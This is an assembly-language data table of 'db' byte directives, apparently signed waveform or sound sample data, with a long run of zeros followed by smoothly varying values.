db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x01,0x02,0xFE,0xFD,0xFF,0x01,0x01,0xFF,0x00,0x00,0x00,0x00,0x01,0x02,0xFF,0xFD,0xFF,0x01,0x01,0x00,0x01,0x02,0x01,0xFF,0xFE,0x01,0x01,0xFF,0xFF,0x00,0x02
db 0x03,0x02,0x02,0x00,0xFC,0xFE,0x00,0x00,0x01,0x00,0x02,0x01,0x01,0x03,0xFF,0xFE,0xFD,0x02,0x05,0x00,0xFE,0x02,0x05,0xFE,0xF9,0x01,0x03,0x01,0xFD,0xFB,0x00,0x03
db 0x07,0x02,0x02,0x06,0x05,0x04,0x08,0x05,0x05,0x05,0x05,0x08,0x09,0x08,0x03,0xFF,0xFC,0x01,0x02,0x00,0xFB,0xF4,0xF6,0xF5,0xF2,0xF5,0xF5,0xF3,0xF2,0xF4,0xFA,0x04
db 0xF7,0xE9,0xF1,0xF6,0x0A,0x1E,0x1D,0x17,0x14,0x11,0x18,0x25,0x2B,0x26,0x1E,0x1A,0x19,0x1C,0x1A,0x0C,0xFB,0xF2,0xEE,0xDF,0xD7,0xC2,0xC0,0xBF,0xC4,0xE0,0x0A,0x0E
db 0xE9,0xDE,0xD9,0xDE,0x26,0x36,0x2D,0x14,0x10,0x07,0x0C,0x25,0x30,0x2D,0x23,0x16,0x12,0x1E,0x22,0x17,0xFF,0xEE,0xE3,0xD1,0xBF,0xBF,0xB3,0xA7,0x9F,0xFD,0x60,0x2F
db 0x07,0xE0,0xC6,0xAA,0x05,0x58,0x41,0x24,0x13,0xEB,0xFB,0x26,0x30,0x32,0x38,0x1B,0x07,0x26,0x31,0x2A,0x0B,0xE9,0xDF,0xD0,0xC2,0xBE,0xA8,0x99,0x82,0xCD,0x78,0x6A
db 0x04,0xED,0xAA,0xC1,0x24,0x3D,0x34,0x40,0x13,0xF2,0x0A,0x13,0x20,0x45,0x43,0x1D,0x1D,0x1F,0x18,0x19,0x07,0xED,0xD3,0xB6,0xAD,0xA6,0x9B,0x91,0x91,0x31,0x7F,0x31
db 0x20,0xF5,0xDB,0xF4,0x04,0x1B,0x3C,0x3A,0x1E,0x1B,0x16,0x0E,0x21,0x30,0x2B,0x2D,0x29,0x16,0x0D,0x06,0xF4,0xE0,0xC4,0xB4,0xAC,0xA6,0xA2,0x9C,0xDE,0x2D,0x2F,0x26
db 0x0E,0x09,0x0B,0x0B,0x0B,0x11,0x16,0x18,0x1E,0x21,0x1F,0x21,0x22,0x1D,0x1D,0x18,0x0C,0x04,0x01,0xF9,0xE9,0xDC,0xCD,0xC1,0xC0,0xBE,0xBB,0xD0,0xEA,0xF9,0x09,0x15
db 0xFE,0x02,0x03,0x02,0x06,0x07,0x06,0x0A,0x0D,0x0D,0x10,0x11,0x0F,0x0E,0x08,0x06,0x02,0x00,0xFD,0xF9,0xF5,0xF1,0xED,0xEA,0xE7,0xE5,0xE8,0xED,0xEF,0xF4,0xFB,0xFD
db 0xFD,0xFF,0x00,0x00,0x01,0x01,0x01,0x06,0x05,0x05,0x05,0x04,0x03,0x03,0x02,0x00,0x00,0x00,0xFF,0xFF,0xFD,0xFD,0xFD,0xFD,0xFD,0xFD,0xFC,0xFC,0xFD,0xFC,0xFE,0xFD
db 0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x01,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0x00,0x00
db 0x00,0x00,0xFF,0x00,0x00,0x00,0x01,0xFF,0x01,0x00,0x01,0x00,0x00,0x00,0x00,0x01,0x00,0xFF,0x01,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0xF6,0xF4,0xF3,0xF4,0xF7,0xF8,0xFD,0x00,0x06,0x06,0x0B,0x0B,0x0D,0x0C,0x0D,0x0C,0x02,0x04,0x02,0x04,0x02,0x03,0x02,0x03,0x01,0x02,0xFF,0xFF,0xFC,0xFC,0xFA,0xF8
db 0xCD,0xCB,0xC2,0xC6,0xDC,0xE7,0xF7,0x09,0x1A,0x1C,0x1F,0x22,0x1A,0x12,0x0E,0x07,0x00,0x00,0x04,0x07,0x11,0x1C,0x20,0x24,0x23,0x1C,0x10,0x04,0xF5,0xEB,0xDF,0xD7
db 0xCA,0xC0,0xBA,0xB7,0xDE,0xEB,0xF4,0x19,0x20,0x21,0x23,0x25,0x1C,0x0D,0x0E,0x02,0xFB,0xFC,0xFE,0x04,0x0C,0x20,0x24,0x28,0x2D,0x21,0x15,0x07,0xF7,0xEB,0xDF,0xD5
db 0xCF,0xC6,0xBF,0xD0,0xE1,0xE9,0xFE,0x10,0x14,0x1A,0x21,0x1F,0x16,0x16,0x0F,0x01,0x03,0x00,0xFE,0x0D,0x1C,0x20,0x27,0x2C,0x20,0x16,0x0D,0xF8,0xEF,0xE8,0xDB,0xD4
db 0xE1,0xDA,0xE0,0xE0,0xE3,0xF0,0xF5,0xFD,0x09,0x0E,0x14,0x18,0x17,0x15,0x11,0x0B,0x07,0x05,0x06,0x09,0x0B,0x0E,0x12,0x10,0x0A,0x05,0x01,0xFC,0xF6,0xF2,0xEB,0xE6
db 0xF3,0xF3,0xF5,0xF5,0xF7,0xFA,0xFC,0xFE,0x01,0x02,0x03,0x06,0x06,0x07,0x08,0x08,0x09,0x08,0x06,0x07,0x07,0x03,0x04,0x03,0xFE,0x01,0xFC,0xFB,0xFC,0xF7,0xF6,0xF6
db 0x00,0xFE,0xFD,0x00,0x00,0xFE,0xFE,0xFF,0x00,0x03,0x02,0xFE,0x00,0x06,0x03,0xFF,0x04,0x06,0x00,0xFE,0x04,0x04,0xFE,0xFE,0x03,0x01,0xFD,0xFE,0x01,0xFE,0xFD,0xFF
db 0xFF,0x00,0xFF,0x01,0xFF,0x00,0xFF,0x01,0x00,0x00,0x00,0x00,0x00,0xFF,0x00,0x00,0x05,0x04,0x02,0x01,0xFE,0x01,0xFD,0x01,0xFE,0x00,0xFF,0x00,0xFE,0x00,0xFF,0x01
db 0x03,0x04,0x03,0x02,0x00,0xFE,0xFC,0xFA,0xF7,0xF5,0xF4,0xF3,0xFB,0x03,0x07,0x0A,0x0D,0x0D,0x0D,0x0B,0x07,0x04,0x03,0xFE,0xFE,0x00,0x04,0x05,0x03,0x03,0x03,0x03
db 0x1D,0x13,0x08,0xFA,0xF2,0xEE,0xE5,0xDD,0xD5,0xCE,0xCA,0xCE,0xDE,0xEE,0xFF,0x10,0x18,0x1E,0x1F,0x19,0x12,0x09,0x00,0xFC,0xFA,0xFC,0x04,0x0E,0x1B,0x22,0x26,0x25
db 0x18,0x0D,0x03,0xF5,0xF1,0xEB,0xE5,0xE1,0xD4,0xCF,0xCA,0xD1,0xE7,0xF3,0x07,0x17,0x1B,0x20,0x1F,0x14,0x0F,0x02,0xF9,0xF8,0xF5,0xFC,0x08,0x13,0x22,0x28,0x27,0x24
db 0x14,0x09,0x01,0xF4,0xF3,0xED,0xE7,0xE2,0xD8,0xD1,0xCC,0xCE,0xE6,0xF1,0x03,0x16,0x1B,0x20,0x20,0x14,0x0F,0x03,0xF9,0xFA,0xF7,0xFF,0x0C,0x14,0x22,0x26,0x24,0x21
db 0x10,0x08,0xFF,0xF8,0xF4,0xF1,0xEE,0xE9,0xE6,0xDA,0xD8,0xD9,0xE5,0xEE,0xFB,0x07,0x0E,0x14,0x16,0x13,0x11,0x0B,0x06,0x03,0x02,0x05,0x0C,0x12,0x18,0x1B,0x1A,0x16
db 0x06,0x03,0x00,0xFF,0xF6,0xF3,0xF2,0xF0,0xEF,0xEE,0xEF,0xF1,0xF3,0xF7,0xFA,0xFD,0x01,0x02,0x05,0x06,0x05,0x08,0x08,0x08,0x0C,0x0C,0x0E,0x0F,0x0D,0x0D,0x0B,0x07
db 0x00,0x00,0xFE,0xFF,0xFD,0xFE,0xFC,0xFD,0xFD,0xFD,0xFD,0xFF,0xFE,0xFF,0xFE,0x00,0xFF,0xFF,0xFE,0x01,0x00,0x02,0x02,0x03,0x02,0x03,0x01,0x03,0x01,0xFF,0x03,0x02
db 0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0x00,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0xFF,0x00,0x01,0x00,0x00,0x01,0x00,0x01,0x01,0xFF,0xFF,0x00,0x00,0x01
db 0xFD,0xFF,0x01,0xFE,0x03,0xFF,0xFE,0x05,0xFA,0x03,0x04,0xFB,0x05,0xFD,0xFF,0x00,0x01,0xFF,0x01,0x01,0x02,0xFC,0x05,0xFF,0xFC,0x02,0x02,0xF9,0x06,0xFD,0xFF,0x04
db 0x01,0xFF,0x00,0xFF,0x00,0x02,0xFB,0x08,0xF9,0x04,0x03,0xF8,0x08,0xFA,0x02,0x01,0xFE,0x06,0xFC,0x01,0x02,0xFC,0x04,0xFC,0x05,0xFD,0x00,0x01,0xFD,0x01,0x00,0xFF
db 0x06,0xFC,0xFE,0x01,0x04,0xF9,0x02,0x09,0xF6,0x02,0x08,0xFC,0xFC,0x04,0x03,0xF8,0x03,0x04,0xFD,0xFC,0x07,0xFE,0xFD,0x04,0x00,0xFD,0x03,0x01,0xFD,0x02,0x03,0xF9
db 0x05,0xFD,0xFC,0x05,0x02,0xF9,0x04,0x04,0xFB,0xFF,0x05,0xFF,0xFB,0x06,0xFF,0xFD,0x02,0xFF,0x01,0xFF,0xFF,0x03,0x00,0xFE,0x01,0x03,0xFD,0x02,0xFF,0x02,0xFD,0xFE
db 0x02,0xFE,0xFE,0x00,0x01,0xFD,0xFF,0x03,0xFF,0xFF,0x02,0xFF,0x00,0x01,0xFD,0x01,0x00,0xFF,0xFF,0x01,0x01,0xFF,0x01,0x00,0x01,0xFE,0x00,0x03,0xFF,0x00,0xFF,0x00
db 0x02,0xFF,0xFD,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0xFE,0x00,0x01,0x01,0xFF,0xFF,0x01,0x00,0x00,0x00,0xFF,0x00,0x02,0x00,0xFE,0xFF,0x02,0x02,0xFF,0xFE,0x00,0x01
db 0xF2,0xEC,0xE8,0xEE,0xF8,0xFA,0xFD,0x03,0x05,0x01,0xFE,0xFF,0x00,0xFE,0xFE,0x03,0x08,0x0B,0x11,0x14,0x14,0x14,0x11,0x0D,0x09,0x04,0x05,0x02,0x00,0xFE,0xFC,0xF9
db 0xDA,0xC4,0xB6,0xBC,0xD9,0x00,0x18,0x1B,0x1F,0x26,0x23,0x15,0xFD,0xEE,0xEF,0xF3,0xF7,0x03,0x13,0x24,0x2F,0x30,0x25,0x11,0x06,0x04,0x04,0xFE,0xF6,0xF3,0xF2,0xEB
db 0xCB,0xB5,0xA7,0xA5,0xD2,0x1C,0x26,0x24,0x3B,0x24,0x03,0xF8,0xF2,0xEA,0xE3,0xFC,0x10,0x0F,0x23,0x2D,0x25,0x28,0x1D,0x0E,0x05,0x05,0x0D,0x09,0xFE,0xFE,0xF7,0xE1
db 0xC8,0xB7,0xAF,0xB1,0xE5,0x16,0x17,0x31,0x2A,0x07,0x01,0xF6,0xEE,0xF1,0x01,0x10,0x10,0x1C,0x1D,0x1B,0x21,0x20,0x1A,0x0F,0x0E,0x10,0x0A,0x0B,0x05,0xF9,0xEF,0xDB
db 0xCE,0xC0,0xBA,0xB7,0xEC,0x02,0x0F,0x2F,0x1A,0x11,0x0A,0xF5,0xF6,0xFA,0x00,0x0F,0x17,0x14,0x17,0x1C,0x1D,0x18,0x17,0x10,0x09,0x0C,0x09,0x05,0x01,0xFB,0xF1,0xE5
db 0xCB,0xBD,0xB6,0xD0,0xF4,0x00,0x25,0x21,0x1C,0x16,0xFE,0xFD,0xF3,0xF7,0x05,0x0B,0x15,0x18,0x1F,0x21,0x1D,0x1A,0x11,0x0C,0x09,0x07,0x07,0x01,0xFE,0xF8,0xEA,0xDB
db 0xC7,0xB6,0xC4,0xE1,0xEF,0x16,0x1C,0x23,0x22,0x0F,0x0B,0xFA,0xF7,0xFA,0xFE,0x0A,0x11,0x1E,0x28,0x22,0x23,0x18,0x0D,0x09,0x03,0x03,0xFC,0xFD,0xF9,0xF3,0xE5,0xD3
db 0xCD,0xBA,0xC4,0xDF,0xE4,0x10,0x12,0x24,0x25,0x17,0x17,0x00,0xFE,0xF8,0xFA,0x02,0x06,0x19,0x25,0x26,0x2C,0x1E,0x15,0x0B,0x01,0xFC,0xF6,0xF7,0xF4,0xF2,0xE6,0xD8
db 0xD2,0xC8,0xC3,0xDD,0xDF,0xFF,0x0B,0x17,0x24,0x1A,0x21,0x0E,0x0A,0xFE,0xFB,0xFE,0xFF,0x0A,0x1A,0x20,0x2E,0x27,0x22,0x18,0x09,0x02,0xF4,0xF1,0xED,0xE9,0xE4,0xDB
db 0xCF,0xC7,0xC9,0xDF,0xE2,0x02,0x06,0x19,0x1C,0x1D,0x1D,0x13,0x0D,0x04,0x00,0xFE,0xFE,0x05,0x14,0x1B,0x2A,0x27,0x2B,0x1D,0x16,0x04,0xF8,0xF1,0xE8,0xE2,0xDC,0xD6
db 0xC7,0xC6,0xD3,0xE1,0xEF,0x07,0x0A,0x1F,0x19,0x22,0x19,0x15,0x0C,0x03,0x01,0xFD,0xFF,0x05,0x14,0x1C,0x28,0x27,0x28,0x1E,0x14,0x04,0xF8,0xED,0xE1,0xDD,0xD3,0xD1
db 0xC3,0xC1,0xD8,0xDC,0xF7,0x02,0x12,0x1E,0x1D,0x26,0x1A,0x19,0x0C,0x07,0x00,0xFE,0xFF,0x07,0x10,0x1D,0x22,0x2A,0x26,0x23,0x16,0x06,0xF9,0xEB,0xDF,0xD7,0xCD,0xC9
db 0xDA,0xE3,0xE4,0xEE,0xF5,0xFC,0x15,0x19,0x21,0x1E,0x1D,0x15,0x10,0x09,0x04,0x01,0x03,0x08,0x0E,0x14,0x18,0x19,0x16,0x10,0x08,0xFF,0xF8,0xF0,0xEA,0xE5,0xE0,0xDD
db 0xF7,0xF9,0xFA,0xFC,0xFE,0xFF,0x01,0x03,0x06,0x07,0x08,0x08,0x08,0x07,0x06,0x06,0x08,0x09,0x09,0x09,0x08,0x07,0x05,0x04,0x03,0x01,0xFE,0xFC,0xF9,0xF8,0xF6,0xF6
db 0xF5,0xFB,0xFC,0xFC,0xFD,0xFE,0x02,0x01,0x00,0xFC,0xFC,0xFB,0xFB,0xFE,0xFF,0x03,0x05,0x0A,0x0B,0x0D,0x0B,0x0A,0x07,0x04,0x01,0xFE,0xFB,0xF8,0xF5,0xF2,0xF2,0xF2
db 0xE5,0xEF,0xF9,0x05,0x0F,0x18,0x1C,0x1E,0x1C,0x18,0x12,0x0C,0x08,0x05,0x04,0x04,0x05,0x08,0x0A,0x0C,0x0A,0x07,0x04,0xFE,0xFA,0xF2,0xEC,0xE5,0xE0,0xDC,0xDC,0xDF
db 0xDB,0xEB,0xFC,0x0E,0x1E,0x29,0x30,0x30,0x2B,0x1D,0x14,0x0C,0x05,0x01,0x00,0x02,0x05,0x0A,0x0E,0x11,0x12,0x10,0x0A,0x02,0xF7,0xEC,0xE0,0xD6,0xCA,0xC6,0xC7,0xCF
db 0xD3,0xE7,0xFC,0x0C,0x20,0x2E,0x36,0x38,0x33,0x29,0x1B,0x0E,0x03,0xFC,0xFA,0xFC,0x01,0x08,0x10,0x17,0x1B,0x1B,0x14,0x0A,0xFC,0xED,0xDC,0xCD,0xBE,0xB9,0xBB,0xC4
db 0xD8,0xEB,0xFD,0x12,0x22,0x2F,0x33,0x34,0x2C,0x22,0x15,0x0A,0x00,0xFC,0xFA,0xFD,0x02,0x09,0x10,0x16,0x1A,0x18,0x12,0x08,0xFA,0xEC,0xDD,0xD1,0xC4,0xBD,0xBF,0xCA
db 0xDD,0xEA,0xF8,0x07,0x14,0x1F,0x26,0x29,0x26,0x1F,0x17,0x0E,0x06,0x00,0xFD,0xFE,0x02,0x08,0x0F,0x14,0x18,0x17,0x0C,0x03,0xF8,0xED,0xE1,0xD6,0xCF,0xCC,0xCE,0xD4
db 0xE5,0x07,0x23,0x2B,0x1E,0x06,0xFA,0x00,0x11,0x1F,0x1F,0x0D,0xF0,0xD6,0xC2,0xC5,0xE2,0x06,0x23,0x2C,0x1E,0x06,0xF9,0x04,0x14,0x1F,0x1C,0x08,0xED,0xD5,0xC3,0xC8
db 0xE3,0x0A,0x27,0x2C,0x1A,0x00,0xF3,0xFE,0x16,0x28,0x26,0x0F,0xEF,0xD3,0xC0,0xC1,0xE2,0x0B,0x27,0x2C,0x19,0xFD,0xF1,0xFE,0x15,0x26,0x24,0x0E,0xEF,0xD3,0xBF,0xC2
db 0xBE,0xD4,0xDE,0xFC,0x09,0x1E,0x25,0x29,0x29,0x1D,0x15,0x02,0xFB,0xEE,0xF2,0xF5,0x03,0x0D,0x1D,0x28,0x2E,0x2E,0x27,0x1D,0x0E,0xFB,0xED,0xDE,0xD3,0xCA,0xC4,0xC0
db 0xBD,0xD4,0xE1,0xFB,0x10,0x1D,0x29,0x24,0x24,0x12,0x09,0xF6,0xF1,0xED,0xF3,0x00,0x0F,0x22,0x2B,0x34,0x31,0x2A,0x1D,0x0F,0x03,0xF2,0xE9,0xE0,0xD8,0xD1,0xCA,0xC6
